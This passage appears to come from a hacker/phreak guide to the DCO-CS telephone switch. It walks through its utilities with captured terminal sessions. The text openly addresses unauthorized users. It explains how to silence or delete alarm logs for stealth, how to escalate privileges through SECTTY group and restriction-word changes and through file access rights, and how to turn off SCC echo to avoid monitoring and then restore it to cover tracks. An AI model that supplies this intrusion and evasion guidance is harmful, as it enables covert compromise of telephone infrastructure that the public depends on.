FUNC DESCRIPTION FORMAT EXAMPLES
==== ======================= ===============
ACT ACTIVE TASK LIST ACT
OR ACT ALL
OR ACT TERM
OR ACT TERM:TT06
OR ACT ALL TERM
OR ACT ALL TERM:TT06
ATB AUTO TRUNK MAKE BUSY ATB 122.:ON=50.
OR ATB 37.:OFF
BRO BROADCAST MESSAGE BRO TT02 HELLO
OR BRO ALL REBOOT
DMO DISMOUNT DEVICE/FEATURE DMO I1:
OR DMO CNTRL
OR DMO REQUIRED
OR DMO LSXWRI 430
MOU MOUNT DEVICE/FEATURE (SEE DMO EXAMPLES)
PRI STATIC PRIORITY PRI
OR PRI STATUS
OR PRI STATUS=100
RED REDIRECT TASK I/O RED STATUS:TT01
RPR RUN PRIORITY (SEE PRI EXAMPLES)
SCED SCHEDULED TASKS SCED
TID TERMINAL ID QUERY TID
ACT will display a list of active tasks based upon the parameter entered.
As seen in the capture, to display tasks active on a particular terminal,
one would enter:
$UTL ACT TERM:TTXX
ATB will busy out a specified trunk, BRO will broadcast a message to
another terminal, PRI sets priority of tasks, and DMO/MOU will mount or
dismount devices/features. Possibly the most useful function of UTL is RED,
which may be entered to redirect the I/O of a task to another terminal as
seen in the format example in the capture. Reports generated with numerous
other utilities might be printed elsewhere, etc. TID or "TERMINAL ID QUERY"
will simply display the terminal that one is currently using, similar to
the "tty" command in DMERT/UNIX-RTR/5ESS UNIX on a Lucent 5ESS.
$UTL TID /NODIAL
DCO_CITYDATA
09-00-00 00:00:00 TUESDAY UTILITY PROGRAM
TERMINAL ID => TT01
Rerouting Messages with $RRTUTL-
The $RRTUTL utility may be used to reroute messages destined for a
particular TTY and to display message routing to terminals.
RRT> FUNCTION (FUNC=HELP) >
VALID FUNCTIONS ARE:
LIST - LIST ALL LOCAL OR REMOTE TERMINAL ROUTING
DISPLAY - DISPLAY ONE LOCAL OR REMOTE TERMINAL ROUTING
CHANGE - CHANGE ONE LOCAL OR REMOTE TERMINAL ROUTING
EXIT - EXIT OUT OF THIS OVERLAY
RRT> FUNCTION (FUNC=HELP) > DISPLAY
RRT> DATABASE (DATABASE=HELP) >
ENTER ROUTING DATABASE TYPE - LOCAL OR REMOTE
LOCAL - ROUTING OF MESSAGES VIA THE TERMINAL NUMBER OR BY SORTKEYS
REMOTE - ROUTING OF RNS/RLS-4000 MESSAGES VIA THE NODE NUMBER
RRT> DATABASE (DATABASE=HELP) > LOCAL
RRT> TYPE OF TERMINAL (TYPE=HELP) >
ENTER TERMINAL #, OUTPUT DEVICE PSEUDO NAME OR SORT KEY
THAT IS TO HAVE ITS MESSAGES REROUTED
RRT> TYPE OF TERMINAL (TYPE=HELP) > TT01
RRTUTL: INVALID TYPE ENTERED - TT01, PLEASE RE-ENTER
RRT> TYPE OF TERMINAL (TYPE=HELP) > 01
PORT 1 HAS NO FAILOVER PORT
PORT 1 HAS NO REROUTING
RRT> FUNCTION (FUNC=DISPLAY) >
RRT> DATABASE (DATABASE=LOCAL) >
RRT> TYPE OF TERMINAL (TYPE=01) > 00
PORT 0 HAS FAILOVER PORT = 1
PORT 0 REROUTE TO PORT 1
PORT 0 REROUTE TO PORT 2
RRT> FUNCTION (FUNC=DISPLAY) >
RRT> DATABASE (DATABASE=LOCAL) >
RRT> TYPE OF TERMINAL (TYPE=00) > 02
PORT 2 HAS NO FAILOVER PORT
PORT 2 HAS NO REROUTING
RRT> FUNCTION (FUNC=DISPLAY) >
RRT> DATABASE (DATABASE=LOCAL) >
RRT> TYPE OF TERMINAL (TYPE=02) > 03
PORT 3 HAS NO FAILOVER PORT
PORT 3 HAS NO REROUTING
RRT> FUNCTION (FUNC=DISPLAY) >
RRT> DATABASE (DATABASE=LOCAL) >
RRT> TYPE OF TERMINAL (TYPE=03) > 04
PORT 4 HAS NO FAILOVER PORT
PORT 4 HAS NO REROUTING
RRT> FUNCTION (FUNC=DISPLAY) > EXIT /NODIAL
As seen in the captures, messages destined to port 0 (the system master
console, TT00) will reroute to ports 1 and 2 (TT01 and TT02).
Defeating Alarm Logging with $HSTUTL-
As may be discovered through interactive use of the $AMPUTL utility,
information messages (such as notification of user login/off) and alarm
messages are distinctly categorized, although the broadcast method used for
both is identical. With the use of any hacker/inexperienced user of the
switch lies the possibility that mistakes will be made and alarms
activated. Alarms, in certain situations, may reveal an unauthorized
presence on the switch, and as such must be for purposes of stealth
silenced. Such an occurrence is highly unlikely, however, and one exploring
a DCO without authorization would be well advised to refrain from tampering
with the alarms stored on the switch as they are often diagnostically
essential to switch maintenance; the deletion of crucial alarms not yet
reviewed by maintenance would be potentially perilous indeed. In any case,
alarm messages are logged in history files stored on the disk and
accessible through $HSTUTL. These history files are classified into
numbered "controllers" based upon the type of alarms with which they are
concerned, and the "data files" of the alarm messages themselves.
Operations on controllers provide a general overview of the alarm logs
without the need to view specific, dated messages. The menu system of
HSTUTL:
$HSTUTL /NODIAL
HST> FUNCTION (FUNC=HELP) >
EXIT - EXITS HSTUTL
DISPLAY - DISPLAYS SINGLE HISTORY FILE
LIST - LISTS ALL HISTORY FILES
ADD - ADD A NEW HISTORY FILE ENTRY
DELETE - DELETE A HISTORY FILE ENTRY
CHANGE - CHANGE AN EXISTING HISTORY FILE ENTRY
BRIEF - GENERATE BRIEF HISTORY REPORT
With "DISPLAY", one may display either a controller or a data file; as per
usual, the "LIST" option will either list all controllers in output
complete with references and occurrences, or all data files associated with
a particular controller.
HST> FUNCTION (FUNC=HELP) > LIST
HST> CONTROLLER OR LOGGING (TYPE=HELP) >
EXIT - EXITS HSTUTL
CONTROLLER - HISTORICAL LOGGING CONTROLLER FILE
LOGGING - HISTORICAL LOGGING DATA FILE
HST> CONTROLLER OR LOGGING (TYPE=HELP) > CONTROLLER
CONTROL NAME REF OCCUR. MATCH TYPE
------- ---------------------------------------- ----- ------ ----------
0 SGD ALARMS 109 10 NONE
3 SYNC ALARMS 42 10 NONE
5 SWC ALARMS 74 10 NONE
6 TPP MISMATCH ALARMS 1 10 NONE
7 STATE 1 1 10 NONE
8 STATE 2 1 10 NONE
9 STATE 4 1 10 NONE
10 CBC RESTARTED/STARTUP COMPLETE 2 10 NONE
11 LSC STARTUP COMPLETE 1 10 NONE
12 FP RESTORE/STARTUP COMPLETE 3 10 NONE
13 EXTENDED NON-SYNCHRONOUS OPERATION 1 1 NONE
14 MP STARTUP COMPLETE 1 10 NONE
HST> FUNCTION (FUNC=LIST) >
HST> CONTROLLER OR LOGGING (TYPE=CONTROLLER) > LOGGING
HST> CONTROLLER NUMBER (CONT=HELP) > 0
CONTROL NAME REF OCCUR. MATCH TYPE
------- ---------------------------------------- ----- ------ ----------
0 SGD ALARMS 109 10 NONE
DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00
** PWR.0001: BATTERY CHARGER FAILURE (SGD)
DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00
** PWR.0001: BATTERY CHARGER FAILURE (SGD)
DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00
** PWR.0001: BATTERY CHARGER FAILURE (SGD)
DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00
** PWR.0001: BATTERY CHARGER FAILURE (SGD)
DCO_CITYDATA 09-00-00 00:00:00 SGDDRV TT00
MP .0098:CMF=000,SIDE=X REFERENCE TIMING DEVIATION
DCO_CITYDATA 09-00-00 00:00:00 SWITCH TT01
CLK.0009:CMF=000,SIDE=Y MASTER CLOCK SWITCHED TO ONLINE (SGD)
With "CHANGE" one may alter a history file entry, and one may delete an
existing one with, naturally, "DELETE".
Escalation of Privileges
------------------------
In many cases it may be necessary for the unauthorized user to escalate the
privileges of a particular account to which access has been attained, or to
obtain access to the switch through another account entirely with alternate
privileges. The purposes or motives behind such an attempt at privilege
escalation may be directed at expansion of one's ability to ability to
explore the switch, or perhaps to the end of stealth itself; as has been
demonstrated previously and heretofore, the specialization of accounts may
restrict one's access to utilities necessary for concealment. Both
superficial methods and those requiring one to delve more deeply into the
heart of the switch, as it were, exist naturally to this end.
$SECTTY-
As an attempted security measure to counter the general problem of nearly
universally used defaults, it may be impossible to login with any account
other than SCAT from the dial-in ports; however, SCAT is authorized to
execute the command $SECTTY, which sets attributes such as terminal logins.
It is therefore possible to individually add users to the list of those
authorized to log in from, as an example, TT01, or to create a new user
group, assign all of the desired users/accounts to it, and authorize said
group to log in from TT01. Restricted access to the file system as well as
to certain ports and utilities is one of the primary security measures
employed by the DCO-CS to limit user access based upon necessity.
DCO>
$SECTTY
DCO_CITYDATA 08-00-00 00:00:00 SECTTY TT01
M ADM.0000: SECTTY BEGIN DIALOGUE
SEC> FUNCTION (FUNC=HELP) >
THE FOLLOWING IS A LIST OF VALID FUNCTIONS :
SETCON - SET SYSTEM CONSOLE
SETNAC - SET NAC TERMINAL
ADD - GROUP TO TERMINAL ACCESS
DELETE - GROUP FROM TERMINAL ACCESS
DISPLAY - EQUIPPED TERMINAL ACCESS RIGHTS
DEFINE - NEW GROUP NAME
REMOVE - EXISTING GROUP NAME
RESTRICTION - SET UP FUNCTION LEVEL RESTRICTION FOR GROUP
LIST - VALID GROUP NAMES
SETTYP - SET TERMINAL TYPE
SETATT - SET TERMINAL ATTRIBUTES
EXIT - EXITS SECTTY
SEC> FUNCTION (FUNC=HELP) > DISPLAY
SEC> TTY NUMBER (TTY=HELP) >
VALID TTY NUMBERS ARE:
0-31
SEC> TTY NUMBER (TTY=HELP) > 00
SECTTY - TERMINAL ACCESS RIGHTS
TTY GROUP
-------------------
0 SCAT
SEC> FUNCTION (FUNC=DISPLAY) >
SEC> TTY NUMBER (TTY=00) > 01
SECTTY - TERMINAL ACCESS RIGHTS
TTY GROUP
-------------------
1 SCAT
SEC> TTY NUMBER (TTY=4) > 3
SECTTY - TERMINAL ACCESS RIGHTS
TTY GROUP
-------------------
3 SCAT
SEC> FUNCTION (FUNC=DISPLAY) > LIST
SECTTY - VALID GROUP NAMES
GRP# GRP NAME RESTRICTION WORD
15 14 13 12 11 10 9 8 7 6 5 4 3 BXC RCO NAC
-------------------------------------------------------------
1 ADMIN 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
2 TMRS 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
3 STATUS 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
4 MAINT 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
5 SECURE 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
6 NAC 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1
7 ESPF 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
8 UNDEFINED
9 UNDEFINED
10 UNDEFINED
11 UNDEFINED
12 UNDEFINED
13 UNDEFINED
14 UNDEFINED
15 UNDEFINED
16 SCAT 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
SEC> FUNCTION (FUNC=DISPLAY) > ADD
SEC> GROUP NAME (NAME=HELP) > MAINT
SEC> TTY NUMBER (TTY=00) > 01
SECTTY: GROUP ADDED FOR TTY 1
SEC> FUNCTION (FUNC=ADD) > EXIT
Terminal access rights/privileges are defined, as seen in the captures,
through the bit configuration of a "restriction word" for each group. Group
access may also be manipulated through the modification of this word.
SEC> FUNCTION (FUNC=HELP) > RESTRICTION
SEC> GROUP NUMBER (GROUP=HELP) > 1
CURRENT RESTRICTION WORD:
GRP# GRP NAME RESTRICTION WORD
15 14 13 12 11 10 9 8 7 6 5 4 3 BXC RCO NAC
-------------------------------------------------------------
1 ADMIN 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
SEC> RESTRICTION WORD (VALUE=HELP) >
0 - 65535 ANY BIT CONFIGURATION OF WORD
SETATT allows a user to set numerous terminal options, one of which is
particularly significant as pertains to the concealment and hence
preservation of one's access.
SEC> FUNCTION (FUNC=HELP) > SETATT
SEC> TTY NUMBER (TTY=HELP) > 01
SEC> OUTPUT NULLS (NULL=YES) >
SEC> OUTPUT PRIORITY (PRIORITY=NO) >
SEC> VT RESTRICTED (VTREST=NO) >
SEC> ECHO I/O TO SCC (SCC_ECHO=NO) >
SEC> INTER CHARACTER TIMING (INTCHAR TIME=YES) >
SEC> IDLE TERMINAL LOGOFF (IDLE TIME=NO) >
SEC> PAGINATED OUTPUT (PAGOUT =NO) >
SEC> SEND EOM TO TERMINAL (EOM=YES) >
SEC> TERMINAL LIMIT (LIMIT =0) >
SCC_ECHO may be set to "YES" or "NO" depending upon the individual
configurations of different TTYs, but it should certainly be set to "NO"
during unauthorized usage-otherwise, input and output through the terminal
will be echoed to the SCC, and, due to the heavy monitoring thereof, one's
access will be likely detected quickly and terminated, at best, rather
quickly! If this was set for a particular TTY, though, an alteration of it
might be noticed soon thereafter and thought suspicious; it is therefore
advisable, if SCC_ECHO was set to "YES", to turn it off during one's
session of system use and set it back to its original state prior to
logging off. Then again, if this option was set for a single TTY, it might
be wise simply to login from another if possible, for at least a minimal
amount of preliminary I/O would be echoed to the SCC prior to deactivation
of that feature.
Exploration of the File System with $FILSYS-
The filesystem of the DCO-CS is accessible through the $FILSYS utility,
from which directories may be traversed, various forms of the disk
directory printed, access rights displayed and modified, etc. The
functions/options of FILSYS are as follows:
FIL> ENTER FUNCTION (FUNC=HELP) >
ACCESS - CHANGE ACCESS RIGHTS
ATTRIB - LIST ALL FILES W/ THE SPECIFIED ATTRIBUTE
BACKUP - BACKUP DISK
BADBLK - GET A BAD BLOCK REPORT
BLKEDT - EDIT DISK BLOCKS
COMPARE - COMPARE TWO FILES
COMPRESS - COMPRESS A DISK
COPY - COPY FILES
CP_COMPRESS - COMPRESS CP PROGRAM FILE
CWD - CHANGE WORKING DIRECTORY
DB_COMPRESS - COMPRESS CP DATABASE FILE
DELETE - DELETE FILE
DIR - DISK DIRECTORY
DSKCMP - DISK COMPARE
FDIR - FULL DISK DIRECTORY
FORMAT - FORMAT A DISK
FREE - GET FREESPACE INFORMATION FOR A DISK
HDEDIT - EDIT PROGRAM HEADER
MKDIR - MAKE A SUB-DIRECTORY
MKFS - MAKE A FILESYSTEM
MKTAPE - MAKE A DCO TAPE FILESYSTEM
FIL> ADDITIONAL HELP (MORE=YES) >
MOVE - MOVE A FILE FROM ONE DIRECTORY TO ANOTHER
RENAME - RENAME FILES
SCHEDULE - SCHEDULE DSKMGR TO RUN
SDIR - SHORT DISK DIRECTORY
SFDIR - SHORT FULL DISK DIRECTORY
TYPE - PRINT TEXT FILE CONTENTS
VOLCHG - CHANGE A VOLUME LABEL
As stated previously, the DCO-CS filesystem is divided into many
directories and sub-directories beginning with the /ROOT/ directory. The
file attributes that may be input at ATTRIB are:
FIL> ENTER ATTRIB (ATTRIB=HELP) >
ABCPSU - ABORT TASK ON CPSU
ABSWO - ABORT TASK ON A/B SWITCHOVER
CCHOFF - TASK RUNS WITH CACHE OFF
CP1SYS - SINGLE COPY ALLOWED PER SYSTEM
CP1TTY - SINGLE COPY PER TERMINAL ALLOWED
DBFILE - DATA BASE FILE
DCCNTL - UNDER DIAGNOSTIC CONTROL
INCSWO - INHIBITS MP CONTROLLED SWITCHOVER
INDSPA - TASK HAS SEPARATE I AND D SPACE
INSTLL - TASK MAY BE INSTALLED
INTACT - TASK IS INTERACTIVE
KTASK - KERNAL TASK
MEMSEG - TASK IS MEMORY RESIDENT SEGMENTED
MRDATA - MEMORY RESIDENT DATA BASE
NOABRT - DO NOT ALLOW ABORT OF TASK
NOINTS - TASK RUNS WITH INTERRUPTS OFF
NONMAN - NO MANUAL INITIATION OR ABORT ALLOWED
NOSTAT - NO PRINT IN ACT STAT LIST IF BLOCKED
QUEREQ - QUEUE REQUEST IF TASK ACTIVE
RBOABR - RE-BOOT ON ABORT
RESCED - RESCHEDULE TASK IF ABORTED
FIL> ADDITIONAL HELP (MORE=YES) >
SEGMNT - SEGMENTED TASK
SGUMAP - UNMAP UNUSED MEMORY AFTER SEGMENT LOAD
SHRMEM - SHARE MEMORY IF TASK ACTIVE
STKCON - ALLOCATE STACK CONTIGUOUS TO PROGRAM
STKHI - ALLOCATE STACK FROM UPPER PAR AVAILABLE
Blocks of memory on the disk may be manually edited with BLKEDT (the
$MEMMAP utility displays block numbers, types, sizes, and names):
FIL> ENTER DEVICE (DEVICE=HELP) > SY
FIL> ENTER BLOCK (BLOCK=HELP) >
VALID BLOCKS ARE OCTAL NUMBERS FROM
0 TO THE MAXIMUM FOR THIS DEVICE.
FIL> ENTER BLOCK (BLOCK=HELP) > 0
LOCATION: 000000 000002 000004 000006 000010 000012 000014 000016
VALUE: 000240 000402 000042 000340 106427 000340 010167 000602
FIL> NEW VALUE: HELP
ADV - ADVANCE TO NEXT 8 WORDS OF BLOCK
BCK - BACKUP TO PREVIOUS 8 WORDS OF BLOCK
EXIT - EXIT BLKEDT WITHOUT DISK UPDATE
DONE - DONE, UPDATE BLOCK TO DISK
OCTAL NUMBERS RANGING FROM 0 TO 177777
DIR, FDIR, SDIR, and SFDIR all display in some fashion the disk directory.
DIR displays the components of the directory in the following format:
FIL> ENTER FUNCTION (FUNC=HELP) > DIR
FIL> ENTER FILENAME (FILE=HELP) >
ANY FILENAME
FIL> ENTER FILENAME (FILE=HELP) > /
FILENAME TYPE CREATION DATE LAST CHANGE FILE SIZE PRIO A HDRADDR
/ROOT/
BITMAP FRSP
AMPPAT DIR 03-00-00 00:00:00 03-00-00 00:00:00 000000220 0000 0 00XXXXXX
/ROOT/AMPPAT/
T0000_RES P/D 03-00-00 00:00:00 03-00-00 00:00:00 000000002 0000 0 00XXXXXX
P0054_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000000367 0000 0 00XXXXXX
P0068_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000000306 0000 0 00XXXXXX
P0070_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000000764 0000 0 00XXXXXX
P0119_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000002501 0000 0 00XXXXXX
The filename, file type, creation date, date of last change, file size,
priority, and address on the hard disk are displayed. The two file types
are DIR (directory) and P/D (program, .txt file, .dat file, etc.). FDIR
(Full Disk Directory) displays a few more aspects of files examined:
FIL> ENTER FUNCTION (FUNC=DIR) > FDIR
FIL> ENTER FILENAME (FILE=ROOT/) >
FILENAME TYPE CREATION DATE LAST CHANGE FILE SIZE PRIO A HDRADDR
/ROOT/
BITMAP FRSP
AMPPAT DIR 03-00-00 00:00:00 03-00-00 00:00:00 000000220 0000 0 00XXXXXX
ACCESS - (MAINT ,RWX)
EXTENTS - 71(1.)
/ROOT/AMPPAT/
T0000_RES P/D 03-00-00 00:00:00 03-00-00 00:00:00 000000001 0000 0 00XXXXXX
ACCESS - (MAINT ,RWX)
EXTENTS - 14304(1.)
P0054_RES P/D 04-00-00 00:00:00 04-00-00 00:00:00 000000376 0000 0 00XXXXXX
ACCESS - (ADMIN ,RW),(TMRS ,RW),(STATUS,RW),(MAINT ,RW)
(SECURE,RW),(NAC ,RW),(ESPF,RW)
EXTENTS - 212753(5.)
In addition to the attributes displayed with DIR, with FDIR the access
rights and extents of the files are displayed. Access rights are displayed
in the format (GROUP, ABC) where ABC is populated with R (read), W (write),
and/or X (execute). SDIR will only display subdirectories within the
directory initially given (if a directory is initially provided) in the
minimal DIR format. If a subdirectory containing P/D files is entered, the
attributes of those files will be printed in the single-line minimal format
as well. SFDIR will display the directories in the "full format" (with
access and extents) before the P/D files, as does SDIR. Access rights are
modified through ACCESS:
FIL> ENTER FUNCTION (FUNC=HELP) > ACCESS
FIL> ENTER FILENAME (FILE=HELP) > FILENAME
FIL> ENTER FUNCTION (FUNCTION=HELP) >
ADD - ADD ACCESS RIGHTS
DELETE - DELETE ACCESS RIGHTS
LIST - LIST ACCESS RIGHTS
FIL> ENTER FUNCTION (FUNCTION=HELP) > LIST
GROUP RIGHTS
----- ------
ADMIN R
TMRS R
STATUS R
MAINT R
SECURE R
NAC R
ESPF R
SCAT RW
FIL> ENTER FUNCTION (FUNCTION=LIST) > ADD
FIL> GROUP (GROUP=HELP) >
ENTER ANY OF THE FOLLOWING GROUP NAMES
ADMIN
TMRS
STATUS
MAINT
SECURE
NAC
ESPF
SPARE1
SPARE2
SPARE3
SPARE4
SPARE5
SPARE6
SPARE7
SPARE8
SCAT
DONE - UPDATE FILE ACCESS RIGHTS ON DISK
The setting of access rights through FILSYS will alter the access rights
stored in the file PTL.TXT, which may also be modified alternately and
directly as discussed in the next section.
PTL Modification-
To comprehend this concealment technique it is necessary to possess an
understanding of the derivation of access rights in the file system.
Occasionally (or often, depending upon the utilities used and the account
logged on) the curious hacker/phreak will find that the "INSUFFICENT ACCESS
RIGHTS" message will be displayed at attempts to invoke particular
programs/utilities or to view certain files. Even using the disk directory
options/functions of the $FILSYS utility it will be observed that
information for certain files is irretrievable due to insufficient access.
The inevitable question then arises as to where all of these access rights
are defined. Rewarded is the hacker who considers this sort of question-the
context of DCO exploration is no exception. Access rights and many other
attributes are defined and stored in an ASCII text file named PTL.TXT,
(access rights are merely a tertiary option) in the /ROOT/ directory,
appropriately entitled the Prioritized Task List-the PTL is the very heart
of the filesystem on a DCO-CS. At the beginning of the PTL all options and
the format of entries are explained:
***************************************************************************
!***** RELEASE OCC150 DEVELOPMENT PRIORITIZED TASK LIST *******************
!**************************************************************************
!
!
!
!
! The PRIORITIZED TASK LIST is free format ASCII text file. Any line that
! begins with an exclamation point(!) is assumed to be a comment, all other
! lines are assumed to be data lines. If a data line ends with a dash(-)the
! next line is used to continue the line. A data line may be no more than
! 1000 characters in length. Since this file is free format multiple blanks
! or tabs are treated as a single space.
!
! The PTL defines the list of tasks contained in a given release and the
! desired order in which to place the tasks on the disk. The PTL also
! defines the options, the processor type, and the values of the CP
! switches, e.g.: file type, access rights.
!
! A data line consists of the DCO file specification followed by optional
! switch modifiers.
!
!--------------------- BEGIN SWITCH DEFINITIONS -------------------------
!
! -proc <type> the processor type. This is used to determine the
! search rules for the file.
!
! -input <file> the input file name. If this switch is NOT given the
! input file name is derived from the output file
! specification. If the output file specification does
! NOT have an extension, an extension of .DTC is used.
! [EG: -INPUT STD.H]
!
! -for <option> the file is required FOR this option(feature). If the
! site has this option, the file will be copied to the
! DCO disk. If this switch is NOT given, the file is
! assumed to be part of the GENERIC and is always
! copied to the DCO disk. Options may be OR'ed together
! by separating the options by a vertical bar(|).
! [EG: -FOR LAB|ANI]
!
! -disk <nbr> forces the file to be copied to the given disk, if a
! a multi-disk set is required to hold all the files.
! If this switch is NOT given and a multi-disk set is
! required, the file will be placed on the first disk
! with enough available free space.
! [EG: -DISK 0]
!
! -size <bytes> make sure that at least X number of bytes are
! reserved. If this switch is NOT given the number of
! bytes reserved is determined by the size of the file.
! [EG: -SIZE 1792]
!
! -access <#,#,#> give the access rights to a file. These are used to
! define the first three words of the rights section
! in the DCO file header. If this switch is NOT given
! a value of 177777 is used for the three values. The
! values must be in OCTAL representation.
! [EG: -ACCESS 1000,1000,1000 -ACCESS ,100000,1]
! The order is: READ,WRITE,EXECUTE
!
! -load the file is to be used for the load/boot block
! on the DCO disk. Although the load block is NOT
! referenced by a DCO file specification, one is
! required in the PTL for completeness. The -INPUT
! switch is normally used in conjunction with this
! switch to specify the input file. Only one file may
! be marked with the -LOAD switch. That file is treated
! as task created by TKB and is loaded from byte offset
! 1024(02000).
! [EG: /boot_block -proc mp -load -input inildr.tsk]
!
! -offset the offset into the input file at which to start
! reading the data. Used only with the -LOAD switch
! [eg: please see the Appendix PTL file.]
!
! -ama_store designate as a special AMA storage file. This switch
! should be used with the -DISK switch to inform KUT
! on which disk the file should be placed.
! [EG: please see the Appendix PTL file.]
!
! -dir the DCO file specification is a DIRECTORY, valid
! switch modifiers are -FOR -ENTRIES & -RIGHTS
!
! -entries <nbr> reserve the given number of DIRECTORY entries
!
! -boot the file is designated a BOOT file. If this switch is
! NOT given the file is designated a PROGRAM/DATA file.
!
! -data the file is copied as a binary data file. A DCO
! file header is created.
!
! -text the file is copied as ASCII text file. A DCO file
! header is created.
!
! NOTE: if neither the -DATA or -TEXT switch is given
! the file is copied as an IMAGE file. In this
! case a DCO file header is NOT created, but
! assumed to exist in the input file.
!
! -name <name> used to specify the internal name of a file.
! [eg: -name RPLDAT]
!
!------------------------ END SWITCH DEFINITIONS ------------------------
!
!
!------------------------- BEGIN "FOR" OPTIONS --------------------------
!
! This section defines the valid options (features) that may be used
! with this release's ptl files. These options are to be used in
! conjuction with the "-for" and "-ifnot" switches. Those ptl entries
! that do not have a "-for" switch are defined as generic tasks/files
! and will be put on all disks kut for this release.
!
! alt Automatic Line Insulation Test
! ama Automatic Message Accounting
! big_ama AMA 10mb Emergency Storage on 2d IOmega disk
! codc Remote Polled LAMA
! dialup Dial-up Terminal Secure Access
! dli Data Link Interface (OCC3)
! dntrans DN transperancey
! esp Essential Service Protection Feature
! ess Emergency Switching Service
! fp Feature Processor
! gen The Base Line Generic
! hard_disk MSS Winchester (not iomega)
! lab Switch to allow all options for lab systems
! lab_test Tasks for testing in S-C lab only - not for fld use
! rcc Radio Common Carrier
! res Reseller (OCC4)
! rls1000 Remote Line Switch 1000, 360
! rls4000 Remote Line Switch 4000
! rpl3 - rpl7 Protocol selection for RPL (rplc03,rphp03,dlip03)
! simul Simulator Options for specific Simulator Tasks
! small_ama AMA 3mb Emergency Storage on 1st IOmega disk
! synopsis site synopsis text file for dbgen databases
! trafsep Traffic Separation (Source Destination)
! trktst Trunk Testing
! win Winchester Hard Disk Drive
! wkup Wake-up Service
!
! The following options were made generic per customer service on 9/19/91
!
! * abn Automatic Balance Network
! * aci Alarm Control Interface
! * bbt Board to Board Test
! * boc_tmrs Traffic Measure't Reptg. Sys w/BOC Config (LSSGR)
! * bx25 Bell x25 Interface - Operations Sys Netwrk Protocol
! * cba coin box accounting
! * dmp Duplex Maintenance Processor
! * e2a Switch Cntl Ctr Sys (SCCS) w/E2A Telemetry
! * eadas Bell Eng. and Admin. Data Acquisition System
! * pora Point of Origin Recorded Announcement
! * rlg Remote Line Group
! * rmas Bell Remote Memory Administration System
! * rns Remote Network Switch
! * rotl Remote Office Test Line
! * slc96 SLC-96 Interface
! * smp Simplex Maintenance Processor
! * tsitpp High-Density TSI/TPP Subsystem
! * veac Virtual Equal Access
!
! The following options were made codc per customer service on 9/19/91
!
! # amatps Protocol selection for AMATPS option
! # bisync Protocol selection for IBM BISYNC application
! # hdlc Protocol selection for pollstar application
!
!-------------------------- END "FOR" OPTIONS ---------------------------
!
!--------------------- BEGIN PROCESSOR DEFINITIONS ----------------------
!
! The following is the list of valid processor ids for this release to
! be used with the -proc switch. Each processor id is usually associated
! with an unique SCM software set.
!
! ac = aci
! al = alit
! amp = amp message database
! bxc = bx25
! cbc =
! cp = call processor
! dct = database software (dbver, dbview, dbchek, ...)
! dli =
! fc =
! fp = feature processor
! inet = To add intelligent network MP files to KUT medium.
! lg = lgc (line group controller)
! lt = ltc
! ma = mah/mar (rls1000)
! mci =
! md = mdc
! mp = maint/admin processor
! mp_text = command files (com directory)
! ptl = to add ptl file to disk
! rg = rlg (remote line group controller)
! rlr =
! rph =
! rls4 = rls4000 tasks
! rls68 = 68000 processor tasks for RLS4000, created 9/30/90.
! rt = rtc (slc96)
! ss7 =
! up =
! tmp =
!
!---------------------- END PROCESSOR DEFINITIONS -----------------------
!
!------------------------- BEGIN PTL FILE LIST --------------------------
!
/boot_block -proc mp -load -offset 01000 -input inildr.dtc
/smosld -proc mp -boot -disk 0
!
/com/a -proc mp_text -text -input a.txt -dynamic -
-access ,100000,0
/a15shu -proc mp -
-access 100000,100000,100000
/abnutl -proc mp -
-access 100000,100000,100011
/abort -proc mp -
-access 100000,100000,
/segment/diag2/type5/abotcp -proc mp -
-access ,100000,0
/segment/diag2/type5/abotst -proc mp -
-access ,100000,0
/required/abrt -proc mp -disk 0 -
-access 100000,100000,
/driver/acidrv -proc mp -
-access 100000,100000,100000
/download/acipgm -proc ac -
-access ,100000,0
/acisu -proc mp -
-access 100000,100000,100010
/acitst -proc mp -
-access 100000,100000,100010
-------List truncated for brevity-----------
!-------------------------- END PTL FILE LIST ---------------------------
Access rights in the PTL are denoted with a "-access" switch under file
options, in the following syntactical order: READ, WRITE, EXECUTE; in other
words, the octal values which represent account access permissions for a
file denote consecutively, from left to right, which accounts are permitted
to read (or view) the file in question, write to it, or execute it if it is
executable. The following table of octal values may prove useful:
Octal Value Group(s) with Permission
=========== ========================
0 NONE
1 ADMIN
2 TMRS
10 MAINT
100000 SCAT
100001 ADMIN, SCAT
100002 TMRS, SCAT
100005 ADMIN, STATUS, SCAT
100010 MAINT, SCAT
100011 ADMIN, MAINT, SCAT
100012 TMRS, MAINT, SCAT
100013 ADMIN, TMRS, MAINT, SCAT
100014 STATUS, MAINT, SCAT
100020 SECURE, SCAT
100024 STATUS, SECURE, SCAT
100030 MAINT, SECURE, SCAT
100035 ADMIN, STATUS, MAINT, SECURE, SCAT
100036 TMRS, STATUS, MAINT, SECURE, SCAT
100037 ADMIN, TMRS, STATUS, MAINT, SECURE, SCAT
100042 TMRS, NAC, SCAT
100050 MAINT, NAC, SCAT
100071 ADMIN, MAINT, SECURE, NAC
100075 ADMIN, STATUS, MAINT, SECURE, NAC
100077 ADMIN, TMRS, STATUS, MAINT, SECURE, NAC, SCAT
100140 NAC, ESPF, SCAT
100141 ADMIN, NAC, ESPF, SCAT
100150 MAINT, NAC, ESPF, SCAT
100154 STATUS, MAINT, NAC, ESPF, SCAT
100155 ADMIN, STATUS, MAINT, NAC, ESPF, SCAT
100160 SECURE, NAC, ESPF, SCAT
100164 STATUS, SECURE, ESPF, SCAT
100175 ADMIN, STATUS, MAINT, SECURE, NAC, ESPF, SCAT
100177 ADMIN, TMRS, STATUS, MAINT, SECURE, NAC, ESPF, SCAT
177777 ALL DEFINED GROUPS
